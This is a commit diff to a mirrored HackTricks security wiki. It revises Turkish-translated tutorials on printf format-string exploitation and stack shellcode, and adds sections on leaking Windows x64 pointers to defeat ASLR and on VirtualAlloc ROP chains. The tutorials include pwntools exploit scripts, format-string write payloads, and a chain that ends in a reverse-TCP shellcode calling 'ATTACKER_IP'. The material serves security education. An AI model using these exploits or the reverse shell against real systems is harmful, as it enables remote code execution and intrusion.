mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/READ
This commit is contained in:
parent
42105466e3
commit
1b705beff8
@ -234,6 +234,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
|
||||
@ -5,13 +5,13 @@
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
C'de **`printf`** bazı metinleri **yazdırmak** için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **formatlayıcılarla birlikte ham metin**'dir. Beklenen **sonraki parametreler**, ham metindeki **formatlayıcıları** **değiştirmek** için gereken **değerler**dir.
|
||||
C'de **`printf`** bir stringi **yazdırmak** için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **format belirleyicileriyle birlikte ham metindir**. Beklenen **izleyen parametreler** ise ham metindeki **format belirleyicilerini** **yerine koymak için** kullanılacak **değerlere** karşılık gelir.
|
||||
|
||||
Diğer savunmasız fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir.
|
||||
|
||||
Zafiyet, bu fonksiyona **ilk argüman olarak bir saldırgan metni kullanıldığında** ortaya çıkar. Saldırgan, **printf format** dizesinin yeteneklerini kötüye kullanarak **herhangi bir adreste (okunabilir/yazılabilir)** **herhangi bir veriyi okumak ve yazmak** için özel bir **girdi oluşturma** yeteneğine sahip olacaktır. Bu şekilde **rastgele kod çalıştırma** imkanı bulur.
|
||||
Zafiyet, bu fonksiyona **saldırgan tarafından oluşturulmuş bir metnin ilk argüman olarak verilmesi** durumunda ortaya çıkar. Saldırgan, **printf format string** yeteneklerini kötüye kullanarak özel bir girdi oluşturabilecek ve böylece herhangi bir adresten **herhangi bir veriyi okumak ve yazmak (okunabilir/yazılabilir)** imkanına sahip olacaktır. Bu yolla **rastgele kod çalıştırma** mümkün hale gelir.
|
||||
|
||||
#### Formatlayıcılar:
|
||||
#### Format belirleyicileri:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -24,7 +24,7 @@ Zafiyet, bu fonksiyona **ilk argüman olarak bir saldırgan metni kullanıldığ
|
||||
```
|
||||
**Örnekler:**
|
||||
|
||||
- Açık örnek:
|
||||
- Zafiyetli örnek:
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
@ -39,7 +39,7 @@ printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
- fprintf zayıf:
|
||||
- fprintf zafiyeti:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
@ -52,28 +52,28 @@ fclose(output_file);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### **Pointer'lara Erişim**
|
||||
### **İşaretçilere Erişim**
|
||||
|
||||
Format **`%<n>$x`**, burada `n` bir sayı, printf'e n parametresini (stack'ten) seçmesini belirtir. Yani, printf kullanarak stack'ten 4. parametreyi okumak istiyorsanız şunu yapabilirsiniz:
|
||||
Biçim **`%<n>$x`**, burada `n` bir sayı olup, printf'in stack'ten n. parametreyi seçmesini sağlar. Yani stack'ten 4. parametreyi printf ile okumak istiyorsanız şu şekilde yapabilirsiniz:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
ve birinci parametreden dördüncü parametreye kadar okuyabilirsiniz.
|
||||
ve birinci ile dördüncü parametreyi okurdunuz.
|
||||
|
||||
Ya da şunu yapabilirsiniz:
|
||||
Ya da şunu yapabilirdiniz:
|
||||
```c
|
||||
printf("%4$x")
|
||||
```
|
||||
ve doğrudan dördüncüyü oku.
|
||||
ve doğrudan dördüncüyü okumak.
|
||||
|
||||
Saldırganın `printf` **parametresini kontrol ettiğini unutmayın, bu temelde** girdiğinin `printf` çağrıldığında yığında olacağı anlamına gelir, bu da belirli bellek adreslerini yığında yazabileceği anlamına gelir.
|
||||
Dikkat edin ki saldırgan `printf` **parameter'ını kontrol eder, bu temel olarak demektir ki** onun girdisi `printf` çağrıldığında stack'te olacak; bu da stack'e belirli address'ler yazabileceği anlamına gelir.
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu girişi kontrol eden bir saldırgan, **yığında rastgele adresler ekleyebilir ve `printf`'in bunlara erişmesini sağlayabilir**. Bu davranışın nasıl kullanılacağı bir sonraki bölümde açıklanacaktır.
|
||||
> Bu girdiyi kontrol eden bir saldırgan, stack'e **istediği address'i ekleyebilecek ve `printf`'in bunlara erişmesini sağlayabilecektir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağı açıklanacaktır.
|
||||
|
||||
## **Rastgele Okuma**
|
||||
## **Arbitrary Read**
|
||||
|
||||
Biçimlendiriciyi **`%n$s`** kullanarak **`printf`'in** **n pozisyonunda** bulunan **adres**i almasını sağlamak mümkündür, ardından bunu **bir dizeymiş gibi yazdırır** (0x00 bulunana kadar yazdırır). Yani, eğer ikili dosyanın temel adresi **`0x8048000`** ise ve kullanıcı girdisinin yığında 4. pozisyonda başladığını biliyorsak, ikilinin başlangıcını yazdırmak mümkündür:
|
||||
`%n$s` **formatter**'ını kullanarak **`printf`**'in **n pozisyonunda** bulunan **address**'i almasını, onu takip etmesini ve **sanki bir stringmiş gibi yazdırmasını** (0x00 bulunana kadar yazdırır) sağlamak mümkündür. Bu yüzden eğer binary'nin base address'i **`0x8048000`** ise ve kullanıcı girdisinin stack'te 4. pozisyonda başladığını biliyorsak, binary'nin başlangıcını şu şekilde yazdırmak mümkündür:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,15 +87,15 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Girişin başına 0x8048000 adresini koyamayacağınızı unutmayın çünkü dize, o adresin sonunda 0x00 ile kesilecektir.
|
||||
> 0x8048000 adresini input'un başına koyamazsınız çünkü string o adresin sonunda 0x00 ile kesilecektir.
|
||||
|
||||
### Ofseti Bul
|
||||
### Find offset
|
||||
|
||||
Girişinizin ofsetini bulmak için 4 veya 8 bayt (`0x41414141`) gönderebilir ve ardından **`%1$x`** ile **arttırarak** `A'ları` alana kadar değeri artırabilirsiniz.
|
||||
input'unuza olan offset'i bulmak için 4 veya 8 bytes (`0x41414141`) gönderip ardından **`%1$x`** ekleyebilir ve **değeri artırarak** `A's`'ları alana kadar ilerleyebilirsiniz.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Brute Force printf ofseti</summary>
|
||||
<summary>Brute Force printf offset</summary>
|
||||
```python
|
||||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||||
|
||||
@ -126,39 +126,39 @@ p.close()
|
||||
```
|
||||
</details>
|
||||
|
||||
### Ne kadar faydalı
|
||||
### Ne işe yarar
|
||||
|
||||
Rastgele okumalar şunlar için faydalı olabilir:
|
||||
Arbitrary reads şu amaçlarla faydalı olabilir:
|
||||
|
||||
- **Bellekten** **ikili** **dökümü** almak
|
||||
- **Hassas** **bilgilerin** saklandığı bellek alanlarına (canary'ler, şifreleme anahtarları veya bu [**CTF zorluğu**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) gibi özel şifreler) **erişim** sağlamak
|
||||
- **Dump** bellekteki **binary**'yi çıkarmak
|
||||
- Belleğin hassas **info**'nun saklandığı belirli bölümlerine erişmek (ör. **canaries**, **encryption keys** veya özel parolalar; örneğin bu [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Rastgele Yazma**
|
||||
## **Arbitrary Write**
|
||||
|
||||
Formatlayıcı **`%<num>$n`** **yazılan bayt sayısını** **belirtilen adrese** **yazar**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`** ile rastgele bir sayıyı rastgele bir adrese yazabilir.
|
||||
Formatlayıcı **`%<num>$n`** **yazar** stack'teki <num> parametresinin gösterdiği **yazılan byte sayısını** **gösterilen adrese**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`**'in herhangi bir sayıyı herhangi bir adrese yazmasını sağlayabilir.
|
||||
|
||||
Neyse ki, 9999 sayısını yazmak için girdiye 9999 "A" eklemek gerekmez, bu nedenle **`%.<num-write>%<num>$n`** formatlayıcısını kullanarak **`<num-write>`** sayısını **`num` pozisyonunu gösteren adrese** yazmak mümkündür.
|
||||
Neyse ki, 9999 sayısını yazmak için girdiye 9999 tane "A" eklemeye gerek yok; bunun yerine formatlayıcı **`%.<num-write>%<num>$n`** kullanılarak **`<num-write>`** sayısını **`num` pozisyonunun işaret ettiği adrese** yazmak mümkündür.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Ancak, genellikle `0x08049724` gibi bir adres yazmak için (bu, bir seferde yazılması gereken BÜYÜK bir sayıdır), **`$hn`** kullanılır, **`$n`** yerine. Bu, **sadece 2 Bayt** yazmaya olanak tanır. Bu nedenle, bu işlem iki kez yapılır; bir kez adresin en yüksek 2B'si için ve bir kez de en düşük olanlar için.
|
||||
Ancak, genellikle `0x08049724` gibi bir adresi yazmak (tek seferde yazılması çok BÜYÜK bir sayı olduğu için), **`$hn`** kullanılır `$n` yerine. Bu, **sadece 2 Byte yazmaya** izin verir. Bu nedenle bu işlem iki kez yapılır: adresin yüksek 2B'si için bir kez ve düşük olanlar için bir kez daha.
|
||||
|
||||
Bu nedenle, bu zafiyet **herhangi bir adrese (keyfi yazma)** **yazmaya** olanak tanır.
|
||||
Dolayısıyla, bu zafiyet herhangi bir adrese **herhangi bir şeyi yazmaya (arbitrary write)** izin verir.
|
||||
|
||||
Bu örnekte, hedef, daha sonra çağrılacak olan **GOT** tablosundaki bir **fonksiyonun** **adresini** **üst üste yazmak** olacaktır. Bu, diğer keyfi yazma ile exec tekniklerini kötüye kullanabilir:
|
||||
Bu örnekte amaç, daha sonra çağrılacak olan GOT tablosundaki bir fonksiyonun **adresini** **üzerine yazmak (overwrite)** olacak. Ancak bu, diğer arbitrary write -> exec teknikleriyle de sömürülebilir:
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
Bir **fonksiyonu** **üst üste yazacağız** ki bu **kullanıcıdan** **argümanlarını** **alır** ve **`system`** **fonksiyonuna** **işaret eder**.\
|
||||
Belirttiğimiz gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır.
|
||||
Kullanıcının argümanlarını alan bir fonksiyonu **overwrite** edip bunu `system` fonksiyonuna **işaret edeceğiz**.\
|
||||
Bahsedildiği gibi, adresi yazmak genellikle 2 adım gerektirir: önce adresin 2 Byte'ını yazarsınız, sonra diğer 2 Byte'ı. Bunu yapmak için **`$hn`** kullanılır.
|
||||
|
||||
- **HOB**, adresin 2 yüksek baytına çağrılır
|
||||
- **LOB**, adresin 2 düşük baytına çağrılır
|
||||
- **HOB**, adresin üst 2 byteları için kullanılır
|
||||
- **LOB**, adresin alt 2 byteları için kullanılır
|
||||
|
||||
Daha sonra, format dizesinin nasıl çalıştığı nedeniyle, önce \[HOB, LOB] içindeki en küçüğü **yazmanız** gerekir ve sonra diğerini.
|
||||
Daha sonra, format string'in çalışma şekli nedeniyle önce [HOB, LOB] içindeki **küçüğü** yazmanız, sonra diğerini yazmanız gerekir.
|
||||
|
||||
Eğer HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
@ -179,7 +179,7 @@ Bu tür bir zafiyet için bir exploit hazırlamak üzere bir **şablon** bulabil
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
Ya da [**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) bu temel örneği:
|
||||
Ya da [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) adresindeki bu temel örnek:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -198,20 +198,62 @@ p.sendline('/bin/sh')
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
## Format String'leri ile BOF
|
||||
## Format Strings to BOF
|
||||
|
||||
Format string zafiyetinin yazma eylemlerini kötüye kullanarak **stack adreslerine yazmak** ve **buffer overflow** türü bir zafiyeti istismar etmek mümkündür.
|
||||
Bir format string açığının write işlemlerini kötüye kullanarak stack üzerindeki adreslere yazmak ve bir buffer overflow türü açığını exploit etmek mümkündür.
|
||||
|
||||
## Diğer Örnekler ve Referanslar
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
Windows x64'te ilk dört integer/pointer parametre RCX, RDX, R8, R9 register'larında geçirilir. Birçok hatalı call-site'te attacker-controlled string format argument olarak kullanılır fakat hiçbir variadic argument sağlanmaz, örneğin:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.
|
||||
|
||||
Pratik iş akışı:
|
||||
|
||||
- Saldırgan-kontrolündeki string'in en başına "%p " gibi zararsız bir format enjekte edin, böylece ilk dönüşüm herhangi bir filtrelemeden önce çalışır.
|
||||
- Leak edilen pointer'ı yakalayın, o objenin modül içindeki statik offset'ini belirleyin (bir kere symbol'lerle veya yerel bir kopya ile reverse ederek) ve image base'i `leak - known_offset` olarak geri kazanın.
|
||||
- Bu base'i uzak olarak ROP gadgets ve IAT entries için mutlak adresler hesaplamak üzere yeniden kullanın.
|
||||
|
||||
Example (abbreviated python):
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
# Send an input that the vulnerable code will pass as the "format"
|
||||
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
||||
io = remote(HOST, 4141)
|
||||
# ... drive protocol to reach the vulnerable snprintf ...
|
||||
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||
base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
Notes:
|
||||
- Çıkarılacak kesin offset, yerel reversing sırasında bir kez bulunur ve sonra yeniden kullanılır (aynı binary/version).
|
||||
- Eğer "%p" ilk denemede geçerli bir pointer yazdırmıyorsa, diğer specifier'ları ("%llx", "%s") veya birden fazla conversion ("%p %p %p") deneyerek diğer argument registers/stack'i örnekleyin.
|
||||
- Bu pattern, format string onları istediğinde olmayan varargs'ları registers'tan çeken Windows x64 calling convention ve printf-family implementasyonlarına özgüdür.
|
||||
|
||||
Bu teknik, ASLR ile derlenmiş ve bariz memory disclosure primitives olmayan Windows services üzerinde ROP'u bootstrap etmek için son derece kullanışlıdır.
|
||||
|
||||
## Diğer Örnekler & Referanslar
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 bit, no relro, no canary, nx, no pie, format string'lerin temel kullanımı ile stack'ten flag'i sızdırmak (işlem akışını değiştirmeye gerek yok)
|
||||
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string ile `fflush` adresini win fonksiyonu ile üzerine yazmak (ret2win)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string ile `.fini_array` içinde main'e bir adres yazmak (böylece akış bir kez daha döner) ve GOT tablosundaki `system` adresini `strlen`'a işaret edecek şekilde yazmak. Akış main'e döndüğünde, kullanıcı girişi ile `strlen` çalıştırılır ve `system`'a işaret eder, geçilen komutları çalıştırır.
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
|
||||
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
## Temel Bilgi
|
||||
|
||||
**Stack shellcode**, bir saldırganın savunmasız bir programın yığınında shellcode yazdığı ve ardından **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve bununla birlikte **pwntools** kullanarak nasıl bir istismar yazabileceğinize dair bilgiler.
|
||||
**Stack shellcode** bir saldırganın shellcode'u zafiyetli bir programın stack'ine yazdığı ve ardından bu shellcode'un bulunduğu konumu işaret edecek şekilde **Instruction Pointer (IP)** veya **Extended Instruction Pointer (EIP)**'i değiştirdiği **binary exploitation**'da kullanılan bir tekniktir. Bu sayede shellcode çalıştırılır. Bu, hedef bir sistemde yetkisiz erişim elde etmek veya rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. Aşağıda sürecin bir dökümü, basit bir C örneği ve **pwntools** ile nasıl bir exploit yazabileceğinize dair bilgiler yer almaktadır.
|
||||
|
||||
### C Örneği: Savunmasız Bir Program
|
||||
### C Örneği: Zafiyetli Bir Program
|
||||
|
||||
Basit bir savunmasız C programı örneğiyle başlayalım:
|
||||
Basit bir zafiyetli C programı örneğiyle başlayalım:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -24,22 +24,22 @@ printf("Returned safely\n");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow açığına sahiptir.
|
||||
Bu program, `gets()` fonksiyonunun kullanımı nedeniyle bir buffer overflow'a karşı savunmasızdır.
|
||||
|
||||
### Derleme
|
||||
|
||||
Bu programı çeşitli korumaları devre dışı bırakarak (açık bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz:
|
||||
Bu programı çeşitli korumaları devre dışı bırakarak (savunmasız bir ortamı simüle etmek için) derlemek için şu komutu kullanabilirsiniz:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Yığın korumasını devre dışı bırakır.
|
||||
- `-z execstack`: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir.
|
||||
- `-no-pie`: Konumdan bağımsız çalıştırılabilir dosyayı devre dışı bırakır, bu da shellcode'un yer alacağı bellek adresini tahmin etmeyi kolaylaştırır.
|
||||
- `-m32`: Programı 32-bit çalıştırılabilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır.
|
||||
- `-fno-stack-protector`: Stack korumasını devre dışı bırakır.
|
||||
- `-z execstack`: Stack'i çalıştırılabilir hale getirir; bu, stack'te depolanan shellcode'u çalıştırmak için gereklidir.
|
||||
- `-no-pie`: Position Independent Executable'i devre dışı bırakır; bu, shellcode'umuzun bulunacağı bellek adresini tahmin etmeyi kolaylaştırır.
|
||||
- `-m32`: Programı 32-bit executable olarak derler; genellikle exploit geliştirmede sadelik için kullanılır.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
### Python'da Pwntools kullanarak Exploit
|
||||
|
||||
İşte **pwntools** kullanarak **ret2shellcode** saldırısı gerçekleştirmek için Python'da bir istismar yazmanın yolu:
|
||||
Aşağıda **pwntools** kullanarak Python'da bir exploit yazarak **ret2shellcode** saldırısını nasıl gerçekleştirebileceğinizi gösteren bir örnek bulunmaktadır:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Bu script, bir **NOP slide**, **shellcode** ve ardından **EIP**'yi NOP slide'ına işaret eden adresle yazan bir payload oluşturur, böylece shellcode'un çalıştırılmasını sağlar.
|
||||
Bu script, **NOP slide**, **shellcode** içeren ve ardından **EIP**'i NOP slide'a işaret eden adresle üzerine yazarak shellcode'un çalışmasını sağlayan bir payload oluşturur.
|
||||
|
||||
**NOP slide** (`asm('nop')`), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kaymasını" sağlama şansını artırmak için kullanılır. `p32()` argümanını, buffer'ınızın başlangıç adresine artı bir offset ekleyerek NOP slide'ına ulaşacak şekilde ayarlayın.
|
||||
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
|
||||
|
||||
## Koruma Önlemleri
|
||||
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır** ki adres, yürütmeler arasında güvenilir olsun; aksi takdirde, fonksiyonun saklanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklü olduğunu anlamak için bir leak'e ihtiyacınız olacak.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) da devre dışı bırakılmalıdır, aksi takdirde, ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, shellcode'un stack içinde çalıştırılmasını engeller çünkü o bölge çalıştırılabilir olmayacaktır.
|
||||
On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
|
||||
|
||||
## Diğer Örnekler ve Referanslar
|
||||
Önemli noktalar (Win64 calling convention):
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → mevcut stack'te bir adres seçin (e.g., RSP) böylece yeni ayırılan RWX bölge payload'unuzla çakışsın
|
||||
- RDX = dwSize → zinciriniz + shellcode'unuz için yeterince büyük (e.g., 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Zincirin hemen sonrasına konan shellcode'a doğrudan dönün.
|
||||
|
||||
Minimal strateji:
|
||||
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
|
||||
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
|
||||
3) Place stage-2 shellcode immediately after the chain.
|
||||
|
||||
Örnek düzen (kavramsal):
|
||||
```
|
||||
# ... padding up to saved RIP ...
|
||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||
POP_R9_RET; 0x40
|
||||
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
|
||||
POP_R8_RET; 0x1000
|
||||
# RCX = &stack (lpAddress)
|
||||
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
|
||||
# RDX = size (dwSize)
|
||||
POP_RDX_RET; 0x1000
|
||||
# Call VirtualAlloc via the IAT
|
||||
[IAT_VirtualAlloc]
|
||||
# New RWX memory at RCX — execution continues at the next stack qword
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
Sınırlı bir gadget setiyle, register değerlerini dolaylı olarak oluşturabilirsiniz, örneğin:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9'u rbx'ten ayarlar, r8'i sıfırlar ve stack'i bir junk qword ile telafi eder.
|
||||
- xor rbx, rsp; ret → rbx'i mevcut stack pointer ile başlatır.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → RSP'den türetilmiş değeri RCX'e taşır.
|
||||
|
||||
Pwntools taslağı (bilinen bir base ve gadgets verildiğinde):
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
|
||||
rop = b''
|
||||
# r9 = 0x40
|
||||
rop += p64(base+POP_RBX_RET) + p64(0x40)
|
||||
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
|
||||
# rcx = rsp
|
||||
rop += p64(base+POP_RBX_RET) + p64(0)
|
||||
rop += p64(base+XOR_RBX_RSP_RET)
|
||||
rop += p64(base+PUSH_RBX_POP_RAX_RET)
|
||||
rop += p64(base+MOV_RCX_RAX_RET)
|
||||
# r8 = 0x1000 via arithmetic if no pop r8
|
||||
for _ in range(0x1000//0x40):
|
||||
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
|
||||
# rdx = 0x1000 (use any available gadget)
|
||||
rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||
# call VirtualAlloc and land in shellcode
|
||||
rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
İpuçları:
|
||||
- VirtualProtect benzer şekilde çalışır eğer mevcut bir buffer'ı RX yapmak tercih ediliyorsa; parametre sırası farklıdır.
|
||||
- Eğer stack alanı kısıtlıysa, RWX başka bir yerde ayır (RCX=NULL) ve stack'i tekrar kullanmak yerine o yeni bölgeye jmp yap.
|
||||
- RSP'yi ayarlayan gadget'ları (e.g., add rsp, 8; ret) her zaman hesaba katmak için araya junk qwords ekle.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **devre dışı bırakılmalıdır**, çünkü adresin yürütmeler arasında güvenilir olması için; aksi takdirde fonksiyonun saklanacağı adres her zaman aynı olmaz ve win fonksiyonunun nerede yüklendiğini bulmak için bir leak gerekir.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) aynı şekilde devre dışı bırakılmalıdır yoksa kompromit edilmiş EIP dönüş adresi asla takip edilmeyecektir.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** koruması, o bölge çalıştırılabilir olmayacağı için stack içindeki shellcode'un yürütülmesini engeller.
|
||||
|
||||
## Diğer Örnekler & Referanslar
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, stack adres leak ile ASLR, shellcode yaz ve ona atla
|
||||
- 64bit, ASLR ile stack adres leak kullanılarak, shellcode yazıp ona atla
|
||||
